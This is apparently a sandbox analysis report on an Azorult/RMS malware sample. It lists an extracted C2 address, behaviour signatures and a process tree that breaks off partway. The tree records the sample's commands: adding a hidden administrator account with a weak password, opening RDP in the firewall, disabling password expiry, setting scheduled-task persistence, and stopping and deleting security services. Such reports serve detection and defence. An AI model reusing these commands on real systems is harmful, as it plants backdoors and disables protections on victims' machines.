Overview

overview

10

Static

static

5

Azorult.exe

windows10-ltsc_2021-x64

10

Analysis

  • user interaction
    yes
  • max time kernel
    83s
  • max time network
    72s
  • platform
    windows10-ltsc_2021_x64
  • resource
    win10ltsc2021-20260513-en
  • resource tags

    arch:x64arch:x86image:win10ltsc2021-20260513-enlocale:en-usos:windows10-ltsc_2021-x64systemwindows
  • submitted
    16/08/2026, 03:29

Sharing

Copy URL Twitter E-mail
Report Analysis Logs

General

  • Target
    Azorult.exe
  • Size 10.0MB
  • Sample260816-d2bh7sba67
  • SHA256 dd396a3f66ad728660023cb116235f3cb1c35d679a155b08ec6a9ccaf966c360
  • MD5 SHA1 SHA512 SSDEEP TLSH
Score
10/10
aspackv2defense_evasiondiscoveryexecutionazorultrmsinfostealerlateral_movementpersistenceprivilege_escalationrattrojanupx

Malware Config

Extracted

Family

  • azorult

C2

  • http://boglogov.site/index.php

Signatures

  • Family: Azorult

    An information stealer that was first discovered in 2016, targeting browsing history and passwords.

    trojaninfostealerazorult
  • Family: RMS

    Remote Manipulator System (RMS) is a remote access tool developed by Russian organization TektonIT.

    trojanratrms
  • Modifies Windows Defender Real-time Protection settings 3 TTPs 5 IoCs
    defense_evasiontrojan
  • Modifies visibility of hidden/system files in Explorer 2 TTPs 1 IoCs
    defense_evasion
  • UAC bypass 3 TTPs 5 IoCs
    defense_evasiontrojan
  • Windows security bypass 2 TTPs 1 IoCs
    defense_evasiontrojan
  • Grants admin privileges 1 TTPs

    Uses net.exe to modify the user's privileges.

  • Remote Service Session Hijacking: RDP Hijacking 1 TTPs 2 IoCs

    Adversaries may hijack a legitimate user's remote desktop session to move laterally within an environment.

    lateral_movement
  • Blocks application from running via registry modification 13 IoCs

    Adds application to list of disallowed applications.

    defense_evasion
  • Drops file in Drivers directory 2 IoCs
  • Modifies Windows Firewall 2 TTPs 23 IoCs
    defense_evasion
  • Server Software Component: Terminal Services DLL 1 TTPs 1 IoCs
    persistence
  • Sets file to hidden 1 TTPs 3 IoCs

    Modifies file attributes to stop it showing in Explorer etc.

    defense_evasion
  • ACProtect 1.3x - 1.4x DLL software 2 IoCs

    Detects file using ACProtect software.

  • ASPack v2.12-2.42 2 IoCs

    Detects executables packed with ASPack v2.12-2.42

    aspackv2
  • Checks computer location settings 2 TTPs 11 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Executes dropped EXE 23 IoCs
  • Loads dropped DLL 1 IoCs
  • Modifies file permissions 1 TTPs 62 IoCs
    discovery
  • Modifies visibility of existing users in the login screen 1 TTPs 4 IoCs

    A user account was hidden or made visible on the Windows login screen through a registry modification.

    defense_evasion
  • Stops running service(s) 4 TTPs
    defense_evasionexecution
  • Adds Run key to start application 2 TTPs 1 IoCs
    persistence
  • Checks whether UAC is enabled 1 TTPs 1 IoCs
    defense_evasiontrojan
  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Using powershell.exe command.

    execution
  • Contacts third-party web service commonly abused for C2 1 TTPs 5 IoCs

    Legitimate web (hosting) services can be abused by malware authors to host malware or C2s.

  • Modifies WinLogon 2 TTPs 7 IoCs
    persistence
  • Password Policy Discovery 1 TTPs

    Attempt to access detailed information about the password policy used within an enterprise network.

    discovery
  • AutoIT Executable 5 IoCs

    AutoIT scripts compiled to PE executables.

  • Creates a new local user account 1 TTPs 2 IoCs

    Uses net.exe to create a new local user account, often for persistence or a backdoor account.

    persistence
  • Drops file in System32 directory 5 IoCs
  • Executes a VBScript file via the Windows Script Host. 1 TTPs 3 IoCs
    execution
  • UPX packed file 8 IoCs

    Detects executables packed with UPX/modified UPX open source packer.

    upx
  • Drops file in Program Files directory 27 IoCs
  • Drops file in Windows directory 1 IoCs
  • Launches sc.exe 24 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Event Triggered Execution: Netsh Helper DLL 1 TTPs 64 IoCs

    Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system.

    persistenceprivilege_escalation
  • Executes a command shell one-liner 1 TTPs 64 IoCs

    Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

    execution
  • Permission Groups Discovery: Local Groups 1 TTPs

    Attempt to find local system groups and permission settings.

    discovery
  • System Location Discovery: System Language Discovery 1 TTPs 64 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

    discovery
  • Delays execution with timeout.exe 6 IoCs
    defense_evasion
  • Gathers network information 2 TTPs 1 IoCs

    Uses commandline utility to view network configuration.

  • Kills process with taskkill 5 IoCs
    defense_evasion
  • Modifies registry class 3 IoCs
  • NTFS ADS 1 IoCs
  • Runs .reg file with regedit 2 IoCs
  • Runs net.exe
  • Scheduled Task/Job: Scheduled Task 1 TTPs 4 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

    persistenceexecution
  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious behavior: GetForegroundWindowSpam 1 IoCs
  • Suspicious behavior: LoadsDriver 3 IoCs
  • Suspicious use of AdjustPrivilegeToken 15 IoCs
  • Suspicious use of SetWindowsHookEx 13 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs
  • System policy modification 1 TTPs 3 IoCs
    defense_evasion
  • Views/modifies file attributes 1 TTPs 6 IoCs
    defense_evasion

Processes

  • C:\Users\Admin\AppData\Local\Temp\Azorult.exe
    "C:\Users\Admin\AppData\Local\Temp\Azorult.exe"
    1⤵
    • Modifies Windows Defender Real-time Protection settings
    • UAC bypass
    • Blocks application from running via registry modification
    • Drops file in Drivers directory
    • Checks computer location settings
    • Modifies visibility of existing users in the login screen
    • Checks whether UAC is enabled
    • Modifies WinLogon
    • Drops file in Program Files directory
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of WriteProcessMemory
    • System policy modification
    PID:2188
    • C:\ProgramData\Microsoft\Intel\wini.exe
      C:\ProgramData\Microsoft\Intel\wini.exe -pnaxui
      2⤵
      • Checks computer location settings
      • Executes dropped EXE
      • Modifies registry class
      • Suspicious use of WriteProcessMemory
      PID:3916
      • C:\Windows\SysWOW64\WScript.exe
        "C:\Windows\System32\WScript.exe" "C:\ProgramData\Windows\install.vbs"
        3⤵
        • Checks computer location settings
        • Executes a VBScript file via the Windows Script Host.
        • Suspicious use of WriteProcessMemory
        PID:4088
        • C:\Windows\SysWOW64\cmd.exe
          C:\Windows\system32\cmd.exe /c ""C:\Programdata\Windows\install.bat" "
          4⤵
          • System Location Discovery: System Language Discovery
          • Suspicious use of WriteProcessMemory
          PID:1172
          • C:\Windows\SysWOW64\regedit.exe
            regedit /s "reg1.reg"
            5⤵
            • UAC bypass
            • Windows security bypass
            • Modifies visibility of existing users in the login screen
            • Runs .reg file with regedit
            PID:3552
          • C:\Windows\SysWOW64\regedit.exe
            regedit /s "reg2.reg"
            5⤵
            • Runs .reg file with regedit
            PID:2308
          • C:\Windows\SysWOW64\timeout.exe
            timeout 2
            5⤵
            • Delays execution with timeout.exe
            PID:1756
          • C:\ProgramData\Windows\rutserv.exe
            rutserv.exe /silentinstall
            5⤵
            • Executes dropped EXE
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of AdjustPrivilegeToken
            • Suspicious use of SetWindowsHookEx
            PID:1624
          • C:\ProgramData\Windows\rutserv.exe
            rutserv.exe /firewall
            5⤵
            • Executes dropped EXE
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of SetWindowsHookEx
            PID:4736
          • C:\ProgramData\Windows\rutserv.exe
            rutserv.exe /start
            5⤵
            • Executes dropped EXE
            • System Location Discovery: System Language Discovery
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of AdjustPrivilegeToken
            • Suspicious use of SetWindowsHookEx
            PID:3656
          • C:\Windows\SysWOW64\attrib.exe
            ATTRIB +H +S C:\Programdata\Windows\*.*
            5⤵
            • Views/modifies file attributes
            PID:3124
          • C:\Windows\SysWOW64\attrib.exe
            ATTRIB +H +S C:\Programdata\Windows
            5⤵
            • System Location Discovery: System Language Discovery
            • Views/modifies file attributes
            PID:4704
          • C:\Windows\SysWOW64\sc.exe
            sc failure RManService reset= 0 actions= restart/1000/restart/1000/restart/1000
            5⤵
            • Launches sc.exe
            PID:4232
          • C:\Windows\SysWOW64\sc.exe
            sc config RManService obj= LocalSystem type= interact type= own
            5⤵
            • Launches sc.exe
            PID:2632
          • C:\Windows\SysWOW64\sc.exe
            sc config RManService DisplayName= "Microsoft Framework"
            5⤵
            • Launches sc.exe
            PID:380
      • C:\ProgramData\Windows\winit.exe
        "C:\ProgramData\Windows\winit.exe"
        3⤵
        • Executes dropped EXE
        • System Location Discovery: System Language Discovery
        • Suspicious use of SetWindowsHookEx
        PID:4724
    • C:\programdata\install\cheat.exe
      C:\programdata\install\cheat.exe -pnaxui
      2⤵
      • Checks computer location settings
      • Executes dropped EXE
      • Suspicious use of WriteProcessMemory
      PID:4168
      • C:\ProgramData\Microsoft\Intel\taskhost.exe
        "C:\ProgramData\Microsoft\Intel\taskhost.exe"
        3⤵
        • Checks computer location settings
        • Executes dropped EXE
        • Suspicious use of SetWindowsHookEx
        • Suspicious use of WriteProcessMemory
        PID:3312
        • C:\programdata\microsoft\intel\P.exe
          C:\programdata\microsoft\intel\P.exe
          4⤵
          • Executes dropped EXE
          • Suspicious use of SetWindowsHookEx
          PID:2768
        • C:\programdata\microsoft\intel\R8.exe
          C:\programdata\microsoft\intel\R8.exe
          4⤵
          • Checks computer location settings
          • Executes dropped EXE
          • Modifies registry class
          • Suspicious use of SetWindowsHookEx
          • Suspicious use of WriteProcessMemory
          PID:1152
          • C:\Windows\SysWOW64\WScript.exe
            "C:\Windows\System32\WScript.exe" "C:\rdp\run.vbs"
            5⤵
            • Checks computer location settings
            • Executes a VBScript file via the Windows Script Host.
            • System Location Discovery: System Language Discovery
            • Suspicious use of WriteProcessMemory
            PID:764
            • C:\Windows\SysWOW64\cmd.exe
              C:\Windows\system32\cmd.exe /c ""C:\rdp\pause.bat" "
              6⤵
              • Checks computer location settings
              • System Location Discovery: System Language Discovery
              • Modifies registry class
              • Suspicious use of WriteProcessMemory
              PID:4812
              • C:\Windows\SysWOW64\taskkill.exe
                taskkill /f /im Rar.exe
                7⤵
                • System Location Discovery: System Language Discovery
                • Kills process with taskkill
                • Suspicious use of AdjustPrivilegeToken
                PID:1016
              • C:\Windows\SysWOW64\taskkill.exe
                taskkill /f /im Rar.exe
                7⤵
                • Kills process with taskkill
                • Suspicious use of AdjustPrivilegeToken
                PID:3828
              • C:\Windows\SysWOW64\timeout.exe
                timeout 3
                7⤵
                • Delays execution with timeout.exe
                PID:4876
              • C:\Windows\SysWOW64\chcp.com
                chcp 1251
                7⤵
                  PID:5056
                • C:\rdp\Rar.exe
                  "Rar.exe" e -p555 db.rar
                  7⤵
                  • Executes dropped EXE
                  PID:3984
                • C:\Windows\SysWOW64\taskkill.exe
                  taskkill /f /im Rar.exe
                  7⤵
                  • Kills process with taskkill
                  • Suspicious use of AdjustPrivilegeToken
                  PID:4540
                • C:\Windows\SysWOW64\timeout.exe
                  timeout 2
                  7⤵
                  • System Location Discovery: System Language Discovery
                  • Delays execution with timeout.exe
                  PID:3472
                • C:\Windows\SysWOW64\WScript.exe
                  "C:\Windows\System32\WScript.exe" "C:\rdp\install.vbs"
                  7⤵
                  • Checks computer location settings
                  • Executes a VBScript file via the Windows Script Host.
                  • System Location Discovery: System Language Discovery
                  PID:4264
                  • C:\Windows\SysWOW64\cmd.exe
                    C:\Windows\system32\cmd.exe /c ""C:\rdp\bat.bat" "
                    8⤵
                    • Executes a command shell one-liner
                    PID:4100
                    • C:\Windows\SysWOW64\reg.exe
                      reg.exe add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server" /v "fDenyTSConnections" /t REG_DWORD /d 0 /f
                      9⤵
                        PID:2908
                      • C:\Windows\SysWOW64\reg.exe
                        reg.exe add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server" /v "fAllowToGetHelp" /t REG_DWORD /d 1 /f
                        9⤵
                        • System Location Discovery: System Language Discovery
                        PID:3852
                      • C:\Windows\SysWOW64\netsh.exe
                        netsh.exe advfirewall firewall add rule name="allow RDP" dir=in protocol=TCP localport=3389 action=allow
                        9⤵
                        • Modifies Windows Firewall
                        • Event Triggered Execution: Netsh Helper DLL
                        PID:1452
                      • C:\Windows\SysWOW64\net.exe
                        net.exe user "john" "12345" /add
                        9⤵
                        • Creates a new local user account
                        PID:3404
                        • C:\Windows\SysWOW64\net1.exe
                          C:\Windows\system32\net1 user "john" "12345" /add
                          10⤵
                          • Creates a new local user account
                          PID:3812
                      • C:\Windows\SysWOW64\chcp.com
                        chcp 1251
                        9⤵
                          PID:3584
                        • C:\Windows\SysWOW64\net.exe
                          net localgroup "Администраторы" "John" /add
                          9⤵
                            PID:2024
                            • C:\Windows\SysWOW64\net1.exe
                              C:\Windows\system32\net1 localgroup "Администраторы" "John" /add
                              10⤵
                                PID:4284
                            • C:\Windows\SysWOW64\net.exe
                              net localgroup "Administratorzy" "John" /add
                              9⤵
                                PID:2120
                                • C:\Windows\SysWOW64\net1.exe
                                  C:\Windows\system32\net1 localgroup "Administratorzy" "John" /add
                                  10⤵
                                  • System Location Discovery: System Language Discovery
                                  PID:2044
                              • C:\Windows\SysWOW64\net.exe
                                net localgroup "Administrators" John /add
                                9⤵
                                  PID:4976
                                  • C:\Windows\SysWOW64\net1.exe
                                    C:\Windows\system32\net1 localgroup "Administrators" John /add
                                    10⤵
                                      PID:712
                                  • C:\Windows\SysWOW64\net.exe
                                    net localgroup "Administradores" John /add
                                    9⤵
                                      PID:2112
                                      • C:\Windows\SysWOW64\net1.exe
                                        C:\Windows\system32\net1 localgroup "Administradores" John /add
                                        10⤵
                                          PID:420
                                      • C:\Windows\SysWOW64\net.exe
                                        net localgroup "Пользователи удаленного рабочего стола" John /add
                                        9⤵
                                          PID:2200
                                          • C:\Windows\SysWOW64\net1.exe
                                            C:\Windows\system32\net1 localgroup "Пользователи удаленного рабочего стола" John /add
                                            10⤵
                                              PID:1412
                                          • C:\Windows\SysWOW64\net.exe
                                            net localgroup "Пользователи удаленного управления" John /add
                                            9⤵
                                            • System Location Discovery: System Language Discovery
                                            PID:1844
                                            • C:\Windows\SysWOW64\net1.exe
                                              C:\Windows\system32\net1 localgroup "Пользователи удаленного управления" John /add
                                              10⤵
                                              • System Location Discovery: System Language Discovery
                                              PID:2240
                                          • C:\Windows\SysWOW64\net.exe
                                            net localgroup "Remote Desktop Users" John /add
                                            9⤵
                                            • Remote Service Session Hijacking: RDP Hijacking
                                            PID:5020
                                            • C:\Windows\SysWOW64\net1.exe
                                              C:\Windows\system32\net1 localgroup "Remote Desktop Users" John /add
                                              10⤵
                                              • Remote Service Session Hijacking: RDP Hijacking
                                              PID:1896
                                          • C:\Windows\SysWOW64\net.exe
                                            net localgroup "Usuarios de escritorio remoto" John /add
                                            9⤵
                                              PID:4920
                                              • C:\Windows\SysWOW64\net1.exe
                                                C:\Windows\system32\net1 localgroup "Usuarios de escritorio remoto" John /add
                                                10⤵
                                                  PID:4980
                                              • C:\Windows\SysWOW64\net.exe
                                                net localgroup "Uzytkownicy pulpitu zdalnego" John /add
                                                9⤵
                                                  PID:5108
                                                  • C:\Windows\SysWOW64\net1.exe
                                                    C:\Windows\system32\net1 localgroup "Uzytkownicy pulpitu zdalnego" John /add
                                                    10⤵
                                                      PID:3832
                                                  • C:\rdp\RDPWInst.exe
                                                    "RDPWInst.exe" -i -o
                                                    9⤵
                                                    • Server Software Component: Terminal Services DLL
                                                    • Executes dropped EXE
                                                    • Modifies WinLogon
                                                    • Drops file in System32 directory
                                                    • Drops file in Program Files directory
                                                    • System Location Discovery: System Language Discovery
                                                    • Suspicious use of AdjustPrivilegeToken
                                                    PID:1768
                                                    • C:\Windows\SYSTEM32\netsh.exe
                                                      netsh advfirewall firewall add rule name="Remote Desktop" dir=in protocol=tcp localport=3389 profile=any action=allow
                                                      10⤵
                                                      • Modifies Windows Firewall
                                                      • Event Triggered Execution: Netsh Helper DLL
                                                      PID:708
                                                  • C:\rdp\RDPWInst.exe
                                                    "RDPWInst.exe" -w
                                                    9⤵
                                                    • Executes dropped EXE
                                                    PID:3920
                                                  • C:\Windows\SysWOW64\reg.exe
                                                    reg.exe add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\SpecialAccounts\UserList" /v "john" /t REG_DWORD /d 0 /f
                                                    9⤵
                                                    • Modifies visibility of existing users in the login screen
                                                    PID:2268
                                                  • C:\Windows\SysWOW64\net.exe
                                                    net accounts /maxpwage:unlimited
                                                    9⤵
                                                      PID:1588
                                                      • C:\Windows\SysWOW64\net1.exe
                                                        C:\Windows\system32\net1 accounts /maxpwage:unlimited
                                                        10⤵
                                                          PID:3992
                                                      • C:\Windows\SysWOW64\attrib.exe
                                                        attrib +s +h "C:\Program Files\RDP Wrapper\*.*"
                                                        9⤵
                                                        • Sets file to hidden
                                                        • Drops file in Program Files directory
                                                        • System Location Discovery: System Language Discovery
                                                        • Views/modifies file attributes
                                                        PID:1532
                                                      • C:\Windows\SysWOW64\attrib.exe
                                                        attrib +s +h "C:\Program Files\RDP Wrapper"
                                                        9⤵
                                                        • Sets file to hidden
                                                        • Drops file in Program Files directory
                                                        • System Location Discovery: System Language Discovery
                                                        • Views/modifies file attributes
                                                        PID:3832
                                                      • C:\Windows\SysWOW64\attrib.exe
                                                        attrib +s +h "C:\rdp"
                                                        9⤵
                                                        • Sets file to hidden
                                                        • System Location Discovery: System Language Discovery
                                                        • Views/modifies file attributes
                                                        PID:3176
                                                  • C:\Windows\SysWOW64\timeout.exe
                                                    timeout 2
                                                    7⤵
                                                    • Delays execution with timeout.exe
                                                    PID:1800
                                            • C:\ProgramData\Microsoft\Intel\winlog.exe
                                              C:\ProgramData\Microsoft\Intel\winlog.exe -p123
                                              4⤵
                                              • Checks computer location settings
                                              • Executes dropped EXE
                                              PID:2948
                                              • C:\ProgramData\Microsoft\Intel\winlogon.exe
                                                "C:\ProgramData\Microsoft\Intel\winlogon.exe"
                                                5⤵
                                                • Checks computer location settings
                                                • Executes dropped EXE
                                                • System Location Discovery: System Language Discovery
                                                • Suspicious use of SetWindowsHookEx
                                                PID:3292
                                                • C:\Windows\system32\cmd.exe
                                                  "C:\Windows\sysnative\cmd.exe" /c "C:\Users\Admin\AppData\Local\Temp\BC75.tmp\BC76.bat C:\ProgramData\Microsoft\Intel\winlogon.exe"
                                                  6⤵
                                                    PID:852
                                                    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                      PowerShell.exe -command "Import-Module applocker" ; "Set-AppLockerPolicy -XMLPolicy C:\ProgramData\microsoft\Temp\5.xml"
                                                      7⤵
                                                      • Command and Scripting Interpreter: PowerShell
                                                      • Drops file in System32 directory
                                                      • Suspicious behavior: EnumeratesProcesses
                                                      • Suspicious use of AdjustPrivilegeToken
                                                      PID:4980
                                              • C:\Programdata\RealtekHD\taskhostw.exe
                                                C:\Programdata\RealtekHD\taskhostw.exe
                                                4⤵
                                                • Modifies visibility of hidden/system files in Explorer
                                                • Executes dropped EXE
                                                • Adds Run key to start application
                                                • NTFS ADS
                                                • Suspicious behavior: EnumeratesProcesses
                                                • Suspicious behavior: GetForegroundWindowSpam
                                                • Suspicious use of SetWindowsHookEx
                                                PID:2420
                                                • C:\Programdata\WindowsTask\winlogon.exe
                                                  C:\Programdata\WindowsTask\winlogon.exe
                                                  5⤵
                                                  • Executes dropped EXE
                                                  • Suspicious use of SetWindowsHookEx
                                                  PID:4076
                                                  • C:\Windows\SysWOW64\cmd.exe
                                                    C:\Windows\system32\cmd.exe /C schtasks /query /fo list
                                                    6⤵
                                                    • Executes a command shell one-liner
                                                    • System Location Discovery: System Language Discovery
                                                    PID:900
                                                    • C:\Windows\SysWOW64\schtasks.exe
                                                      schtasks /query /fo list
                                                      7⤵
                                                        PID:4552
                                                  • C:\Windows\system32\cmd.exe
                                                    C:\Windows\system32\cmd.exe /c ipconfig /flushdns
                                                    5⤵
                                                    • Executes a command shell one-liner
                                                    PID:4384
                                                    • C:\Windows\system32\ipconfig.exe
                                                      ipconfig /flushdns
                                                      6⤵
                                                      • Gathers network information
                                                      PID:2280
                                                  • C:\Windows\system32\cmd.exe
                                                    C:\Windows\system32\cmd.exe /c gpupdate /force
                                                    5⤵
                                                    • Executes a command shell one-liner
                                                    PID:1868
                                                    • C:\Windows\system32\gpupdate.exe
                                                      gpupdate /force
                                                      6⤵
                                                        PID:1756
                                                  • C:\Windows\SysWOW64\schtasks.exe
                                                    "C:\Windows\SysWOW64\schtasks.exe" /create /TN "Microsoft\Windows\Wininet\SystemC" /TR "C:\Programdata\RealtekHD\taskhostw.exe" /SC MINUTE /MO 1
                                                    4⤵
                                                    • Scheduled Task/Job: Scheduled Task
                                                    PID:1868
                                                  • C:\Windows\SysWOW64\schtasks.exe
                                                    "C:\Windows\SysWOW64\schtasks.exe" /create /TN "Microsoft\Windows\Wininet\Cleaner" /TR "C:\Programdata\WindowsTask\winlogon.exe" /SC ONLOGON /RL HIGHEST
                                                    4⤵
                                                    • Scheduled Task/Job: Scheduled Task
                                                    PID:3188
                                                  • C:\Windows\SysWOW64\cmd.exe
                                                    C:\Windows\system32\cmd.exe /c C:\programdata\microsoft\temp\H.bat
                                                    4⤵
                                                    • Drops file in Drivers directory
                                                    • System Location Discovery: System Language Discovery
                                                    PID:3520
                                                    • C:\Windows\System32\Conhost.exe
                                                      \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                      5⤵
                                                        PID:1016
                                                    • C:\Windows\SysWOW64\cmd.exe
                                                      C:\Windows\system32\cmd.exe /c C:\programdata\microsoft\temp\Temp.bat
                                                      4⤵
                                                        PID:1748
                                                        • C:\Windows\System32\Conhost.exe
                                                          \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                          5⤵
                                                            PID:1864
                                                          • C:\Windows\SysWOW64\timeout.exe
                                                            TIMEOUT /T 5 /NOBREAK
                                                            5⤵
                                                            • Delays execution with timeout.exe
                                                            PID:2004
                                                          • C:\Windows\SysWOW64\timeout.exe
                                                            TIMEOUT /T 3 /NOBREAK
                                                            5⤵
                                                            • Delays execution with timeout.exe
                                                            PID:2312
                                                          • C:\Windows\SysWOW64\taskkill.exe
                                                            TASKKILL /IM 1.exe /T /F
                                                            5⤵
                                                            • System Location Discovery: System Language Discovery
                                                            • Kills process with taskkill
                                                            • Suspicious use of AdjustPrivilegeToken
                                                            PID:408
                                                          • C:\Windows\SysWOW64\taskkill.exe
                                                            TASKKILL /IM P.exe /T /F
                                                            5⤵
                                                            • Kills process with taskkill
                                                            • Suspicious use of AdjustPrivilegeToken
                                                            PID:3576
                                                          • C:\Windows\SysWOW64\attrib.exe
                                                            ATTRIB +H +S C:\Programdata\Windows
                                                            5⤵
                                                            • Views/modifies file attributes
                                                            PID:2044
                                                    • C:\programdata\install\ink.exe
                                                      C:\programdata\install\ink.exe
                                                      2⤵
                                                      • Executes dropped EXE
                                                      PID:1668
                                                    • C:\Windows\SysWOW64\cmd.exe
                                                      C:\Windows\system32\cmd.exe /c sc start appidsvc
                                                      2⤵
                                                      • Executes a command shell one-liner
                                                      • Suspicious use of WriteProcessMemory
                                                      PID:2140
                                                      • C:\Windows\SysWOW64\sc.exe
                                                        sc start appidsvc
                                                        3⤵
                                                        • Launches sc.exe
                                                        • System Location Discovery: System Language Discovery
                                                        PID:2588
                                                    • C:\Windows\SysWOW64\cmd.exe
                                                      C:\Windows\system32\cmd.exe /c sc start appmgmt
                                                      2⤵
                                                      • System Location Discovery: System Language Discovery
                                                      • Suspicious use of WriteProcessMemory
                                                      PID:2756
                                                      • C:\Windows\SysWOW64\sc.exe
                                                        sc start appmgmt
                                                        3⤵
                                                        • Launches sc.exe
                                                        PID:3728
                                                    • C:\Windows\SysWOW64\cmd.exe
                                                      C:\Windows\system32\cmd.exe /c sc config appidsvc start= auto
                                                      2⤵
                                                      • System Location Discovery: System Language Discovery
                                                      • Suspicious use of WriteProcessMemory
                                                      PID:4308
                                                      • C:\Windows\SysWOW64\sc.exe
                                                        sc config appidsvc start= auto
                                                        3⤵
                                                        • Launches sc.exe
                                                        PID:4076
                                                    • C:\Windows\SysWOW64\cmd.exe
                                                      C:\Windows\system32\cmd.exe /c sc config appmgmt start= auto
                                                      2⤵
                                                      • Executes a command shell one-liner
                                                      • Suspicious use of WriteProcessMemory
                                                      PID:2076
                                                      • C:\Windows\SysWOW64\sc.exe
                                                        sc config appmgmt start= auto
                                                        3⤵
                                                        • Launches sc.exe
                                                        PID:4760
                                                    • C:\Windows\SysWOW64\cmd.exe
                                                      C:\Windows\system32\cmd.exe /c sc delete swprv
                                                      2⤵
                                                      • Suspicious use of WriteProcessMemory
                                                      PID:2460
                                                      • C:\Windows\SysWOW64\sc.exe
                                                        sc delete swprv
                                                        3⤵
                                                        • Launches sc.exe
                                                        PID:2080
                                                    • C:\Windows\SysWOW64\cmd.exe
                                                      C:\Windows\system32\cmd.exe /c sc stop mbamservice
                                                      2⤵
                                                      • Suspicious use of WriteProcessMemory
                                                      PID:3636
                                                      • C:\Windows\SysWOW64\sc.exe
                                                        sc stop mbamservice
                                                        3⤵
                                                        • Launches sc.exe
                                                        • System Location Discovery: System Language Discovery
                                                        PID:764
                                                    • C:\Windows\SysWOW64\cmd.exe
                                                      C:\Windows\system32\cmd.exe /c sc stop bytefenceservice
                                                      2⤵
                                                      • Suspicious use of WriteProcessMemory
                                                      PID:4080
                                                      • C:\Windows\SysWOW64\sc.exe
                                                        sc stop bytefenceservice
                                                        3⤵
                                                        • Launches sc.exe
                                                        PID:2528
                                                    • C:\Windows\SysWOW64\cmd.exe
                                                      C:\Windows\system32\cmd.exe /c sc delete bytefenceservice
                                                      2⤵
                                                      • Executes a command shell one-liner
                                                      • Suspicious use of WriteProcessMemory
                                                      PID:688
                                                      • C:\Windows\SysWOW64\sc.exe
                                                        sc delete bytefenceservice
                                                        3⤵
                                                        • Launches sc.exe
                                                        PID:1132
                                                    • C:\Windows\SysWOW64\cmd.exe
                                                      C:\Windows\system32\cmd.exe /c sc delete mbamservice
                                                      2⤵
                                                      • Executes a command shell one-liner
                                                      • Suspicious use of WriteProcessMemory
                                                      PID:932
                                                      • C:\Windows\SysWOW64\sc.exe
                                                        sc delete mbamservice
                                                        3⤵
                                                        • Launches sc.exe
                                                        PID:4988
                                                    • C:\Windows\SysWOW64\cmd.exe
                                                      C:\Windows\system32\cmd.exe /c sc delete crmsvc
                                                      2⤵
                                                      • Executes a command shell one-liner
                                                      • Suspicious use of WriteProcessMemory
                                                      PID:212
                                                      • C:\Windows\SysWOW64\sc.exe
                                                        sc delete crmsvc
                                                        3⤵
                                                        • Launches sc.exe
                                                        PID:3116
                                                    • C:\Windows\SysWOW64\cmd.exe
                                                      C:\Windows\system32\cmd.exe /c sc delete "windows node"
                                                      2⤵
                                                      • Executes a command shell one-liner
                                                      • Suspicious use of WriteProcessMemory
                                                      PID:2440
                                                      • C:\Windows\SysWOW64\sc.exe
                                                        sc delete "windows node"
                                                        3⤵
                                                        • Launches sc.exe
                                                        PID:3208
                                                    • C:\Windows\SysWOW64\cmd.exe
                                                      C:\Windows\system32\cmd.exe /c sc stop Adobeflashplayer
                                                      2⤵
                                                      • System Location Discovery: System Language Discovery
                                                      • Suspicious use of WriteProcessMemory
                                                      PID:4776
                                                      • C:\Windows\SysWOW64\sc.exe
                                                        sc stop Adobeflashplayer
                                                        3⤵
                                                        • Launches sc.exe
                                                        • System Location Discovery: System Language Discovery
                                                        PID:2904
                                                    • C:\Windows\SysWOW64\cmd.exe
                                                      C:\Windows\system32\cmd.exe /c sc delete AdobeFlashPlayer
                                                      2⤵
                                                      • Executes a command shell one-liner
                                                      • Suspicious use of WriteProcessMemory
                                                      PID:5012
                                                      • C:\Windows\SysWOW64\sc.exe
                                                        sc delete AdobeFlashPlayer
                                                        3⤵
                                                        • Launches sc.exe
                                                        PID:5052
                                                    • C:\Windows\SysWOW64\cmd.exe
                                                      C:\Windows\system32\cmd.exe /c sc stop MoonTitle
                                                      2⤵
                                                      • Executes a command shell one-liner
                                                      • Suspicious use of WriteProcessMemory
                                                      PID:3364
                                                      • C:\Windows\SysWOW64\sc.exe
                                                        sc stop MoonTitle
                                                        3⤵
                                                        • Launches sc.exe
                                                        PID:2020
                                                    • C:\Windows\SysWOW64\cmd.exe
                                                      C:\Windows\system32\cmd.exe /c sc delete MoonTitle"
                                                      2⤵
                                                      • Executes a command shell one-liner
                                                      • Suspicious use of WriteProcessMemory
                                                      PID:4484
                                                      • C:\Windows\SysWOW64\sc.exe
                                                        sc delete MoonTitle"
                                                        3⤵
                                                        • Launches sc.exe
                                                        PID:560
                                                    • C:\Windows\SysWOW64\cmd.exe
                                                      C:\Windows\system32\cmd.exe /c sc stop AudioServer
                                                      2⤵
                                                      • Executes a command shell one-liner
                                                      • Suspicious use of WriteProcessMemory
                                                      PID:652
                                                      • C:\Windows\SysWOW64\sc.exe
                                                        sc stop AudioServer
                                                        3⤵
                                                        • Launches sc.exe
                                                        PID:2000
                                                    • C:\Windows\SysWOW64\cmd.exe
                                                      C:\Windows\system32\cmd.exe /c sc delete AudioServer"
                                                      2⤵
                                                      • System Location Discovery: System Language Discovery
                                                      • Suspicious use of WriteProcessMemory
                                                      PID:3976
                                                      • C:\Windows\SysWOW64\sc.exe
                                                        sc delete AudioServer"
                                                        3⤵
                                                        • Launches sc.exe
                                                        PID:1468
                                                    • C:\Windows\SysWOW64\cmd.exe
